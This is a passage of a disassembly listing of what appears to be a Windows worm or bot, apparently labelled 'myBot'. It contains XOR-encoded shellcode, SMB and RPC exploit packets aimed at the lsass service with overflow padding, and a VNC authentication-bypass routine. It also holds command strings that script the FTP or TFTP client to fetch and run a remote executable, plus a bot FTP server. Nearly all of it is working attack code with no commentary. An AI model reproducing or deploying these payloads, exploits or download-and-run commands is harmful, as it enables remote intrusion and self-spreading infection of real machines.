		mov	[esp+arg_0], ebx
		retn
sub_432300	endp


; =============== S U B	R O U T	I N E =======================================



sub_432352	proc near		; CODE XREF: sub_432300+7p

; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43236B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_432376
; ---------------------------------------------------------------------------


loc_43236B:				; CODE XREF: sub_432352+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_432376:				; CODE XREF: sub_432352+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43238A
sub_432352	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43237D	proc near		; CODE XREF: sub_432352:loc_43238Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43237D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432352


loc_43238A:				; CODE XREF: sub_432352+29j
		call	sub_43237D


loc_43238F:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_432352
; ---------------------------------------------------------------------------
		dw 0
dword_432394	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323A4	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
dword_4323A8	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4


loc_4323B4:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323BC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323BC	dd 0			; CODE XREF: ___:loc_4323B4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_432424	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E02Do
					; ___:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327D4	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_4327E8	dd offset aLafler	; DATA XREF: sub_40DCF9+15Do
					; "Lafler"
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
dword_432828	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43285C	dd offset word_580046	; DATA XREF: sub_40DCF9+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_432938	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_43293C	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
off_432940	dd offset dword_5C005C	; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		align 8
off_432948	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLallemant+8
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
					; ___:0040E99Eo ...
		align 10h
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
		align 10h
		jmp	short loc_4329C2

; =============== S U B	R O U T	I N E =======================================



sub_4329B2	proc far		; CODE XREF: sub_4329B2:loc_4329C2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4329BA:				; CODE XREF: sub_4329B2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329BA
		jmp	short loc_4329C7
; ---------------------------------------------------------------------------


loc_4329C2:				; CODE XREF: ___:004329B0j
		call	near ptr sub_4329B2


loc_4329C7:				; CODE XREF: sub_4329B2+Ej
		jo	short loc_432A2B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A49
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_432A2B:				; CODE XREF: sub_4329B2:loc_4329C7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_432A49:				; CODE XREF: sub_4329B2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_432AF0:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B02

; =============== S U B	R O U T	I N E =======================================



sub_432AF2	proc near		; CODE XREF: sub_432AF2:loc_432B02p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_432AFA:				; CODE XREF: sub_432AF2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432AFA
		jmp	short loc_432B07
; ---------------------------------------------------------------------------


loc_432B02:				; CODE XREF: ___:loc_432AF0j
		call	sub_432AF2


loc_432B07:				; CODE XREF: sub_432AF2+Ej
		jo	short near ptr dword_432A80+1Eh
		cwde
		cdq
		cdq
		retn
sub_432AF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BA0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_432DC0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EA0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F04	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F70	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_433094	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433128	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_433194	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_433290	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4332D0	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------


loc_433408:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433410
; ---------------------------------------------------------------------------
		jmp	short loc_433412
; ---------------------------------------------------------------------------
		align 10h


loc_433410:				; CODE XREF: ___:loc_433408j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp


loc_433412:				; CODE XREF: ___:0043340Aj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_43341C	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433420	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_433424	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
		align 4
word_4346DC	dw 1			; DATA XREF: ___:0040EC29r
					; sub_41B55B+24r ...
		align 10h
dword_4346E0	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A1B1+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
		dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
		dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
		dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:004387E8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:004387F4o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4349C4	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4349EC	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
